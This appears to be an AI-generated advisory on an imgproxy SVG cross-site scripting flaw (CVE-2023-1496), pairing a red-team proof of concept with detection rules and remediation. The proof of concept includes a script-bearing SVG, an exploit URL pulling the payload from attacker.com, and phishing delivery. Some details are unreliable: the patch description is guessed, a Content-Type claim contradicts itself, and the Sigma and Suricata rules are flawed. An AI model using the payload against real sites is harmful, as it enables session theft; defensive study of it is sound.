CVE-2023-1496

Executive Summary

CVE-2023-1496 is a reflected Cross-Site Scripting (XSS) vulnerability in imgproxy, an open-source image processing proxy, affecting versions prior to 3.14.0. The vulnerability allows an attacker to inject arbitrary JavaScript into the application context by crafting a malicious SVG file and passing it through the imgproxy URL. Successful exploitation requires user interaction (clicking a crafted link) and can lead to data theft, session hijacking, or defacement within the victim's browser session. The vulnerability has a CVSS score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No exploit-db code was provided.

Supply Chain & Package Security

This vulnerability affects the open-source Go application imgproxy, which is distributed via GitHub and Docker Hub. The supply chain risk is moderate; users must ensure they are pulling the patched version (3.14.0 or later) from official sources. The commit history shows the fix was applied to the main branch, and the Docker image tag v3.14.0 should be used.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): Low (L) - Attacker needs a valid imgproxy URL.
• User Interaction (UI): Required (R) - Victim must click a crafted link.
• Scope (S): Changed (C) - Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to the browser context.

Deep Dive & Mechanics

The vulnerability resides in how imgproxy processes SVG files. When a user requests an image via imgproxy, the application fetches the source image and serves it. If the source is an SVG file, imgproxy does not properly sanitize the SVG content, allowing embedded JavaScript to be executed in the context of the imgproxy domain.

The attack flow:

1. Attacker crafts an SVG file containing malicious JavaScript (e.g., alert(document.domain);).
2. Attacker hosts the SVG on a publicly accessible URL (e.g., a raw GitHub URL).
3. Attacker constructs a malicious imgproxy URL: https://imgproxy.example.com/unsafe/plain/https://attacker.com/malicious.svg.
4. Victim clicks the link.
5. imgproxy fetches the SVG and serves it with an incorrect Content-Type (e.g., image/svg+xml), but without proper Content-Security-Policy headers.
6. The victim's browser renders the SVG and executes the embedded JavaScript.

The Nuclei template confirms the vulnerability by checking for the presence of alert(document.domain); in the response body and the absence of a restrictive CSP header.

Vulnerable vs. Patched Code

Vulnerable Code (pre-3.14.0): The vulnerable code likely did not sanitize SVG content or set appropriate security headers. The exact code is not provided, but the fix commit (62f8d08a93d301285dcd1dabcc7ba10c6c65b689) suggests changes to how SVG responses are handled.

Patched Code (3.14.0+): The patch likely includes:

• Setting Content-Security-Policy: default-src 'none'; for SVG responses.
• Sanitizing SVG content to remove script tags.
• Validating the source URL to prevent arbitrary file inclusion.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A publicly accessible URL hosting a malicious SVG file.
• A target imgproxy instance (version < 3.14.0).

Steps:

1. Create a malicious SVG file (e.g., xss.svg):

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <script type="text/javascript">
       alert(document.domain);
     </script>
   </svg>
   

2. Host the file on a public server (e.g., GitHub raw content).
3. Craft the exploit URL:

   https://target-imgproxy.com/unsafe/plain/https://raw.githubusercontent.com/attacker/xss.svg
   

4. Send the link to the victim (e.g., via phishing email).

Expected Result: The victim's browser executes alert(document.domain);, displaying the imgproxy domain.

Blue Team (Detection & Mitigation)

Detection:

• Monitor logs for requests to /unsafe/plain/ followed by external URLs.
• Look for SVG files being served without a restrictive CSP header.
• Use the provided Nuclei template to scan for vulnerable instances.

Mitigation:

• Upgrade to imgproxy version 3.14.0 or later.
• Implement a Web Application Firewall (WAF) rule to block requests containing script tags in SVG parameters.
• Restrict outbound connections from imgproxy to only trusted sources.

Indicators of Compromise (IOCs)

• URL Pattern: */unsafe/plain/*.svg
• Response Body: Contains <?xml version, <script type="text/javascript">, and alert(document.domain);
• Response Header: Missing Content-Security-Policy: default-src 'none';
• HTTP Status: 200 OK
• User-Agent: Any (no specific pattern)

Detection Engineering

YARA Rule

rule CVE_2023_1496_Imgproxy_XSS {
    meta:
        description = "Detects malicious SVG files used in CVE-2023-1496"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-1496"
    strings:
        $svg_xml = "<?xml version" ascii
        $script_tag = "<script type=\"text/javascript\">" ascii
        $alert = "alert(document.domain);" ascii
    condition:
        all of them
}

Sigma Rule

title: CVE-2023-1496 Imgproxy Reflected XSS
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to imgproxy with SVG payloads
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/unsafe/plain/'
        cs-uri-query|contains: '.svg'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate SVG processing
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-1496 Imgproxy Reflected XSS"; flow:to_server,established; content:"GET"; http_method; content:"/unsafe/plain/"; http_uri; content:".svg"; http_uri; pcre:"/alert\(document\.domain\)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-1496

info:
  name: Imgproxy < 3.14.0 - Cross-site Scripting (XSS)
  author: pdteam
  severity: medium
  description: Cross-site Scripting (XSS) - Reflected in GitHub repository imgproxy/imgproxy prior to 3.14.0.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to Imgproxy version 3.14.0 or later to mitigate this vulnerability.
  reference:
    - https://github.com/imgproxy/imgproxy/commit/62f8d08a93d301285dcd1dabcc7ba10c6c65b689
    - https://huntr.dev/bounties/de603972-935a-401a-96fb-17ddadd282b2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-1496
    cwe-id: CWE-79
    epss-score: 0.39772
    epss-percentile: 0.97333
    cpe: cpe:2.3:a:evilmartians:imgproxy:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: evilmartians
    product: imgproxy
    shodan-query:
      - "Server: imgproxy"
      - "server: imgproxy"
  tags: cve,cve2023,huntr,imgproxy,xss,svg,evilmartians,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/unsafe/plain/https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update imgproxy to version 3.14.0 or later.
2. WAF Rules: Block requests containing script tags in SVG parameters.
3. CSP Headers: Ensure imgproxy sets Content-Security-Policy: default-src 'none'; for all SVG responses.

Long-term Measures:

• Implement input validation for all image sources.
• Use a content sanitization library for SVG files.
• Regularly scan for vulnerabilities using tools like Nuclei.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 14232FEE0A55EAC37DFEE2BF] */}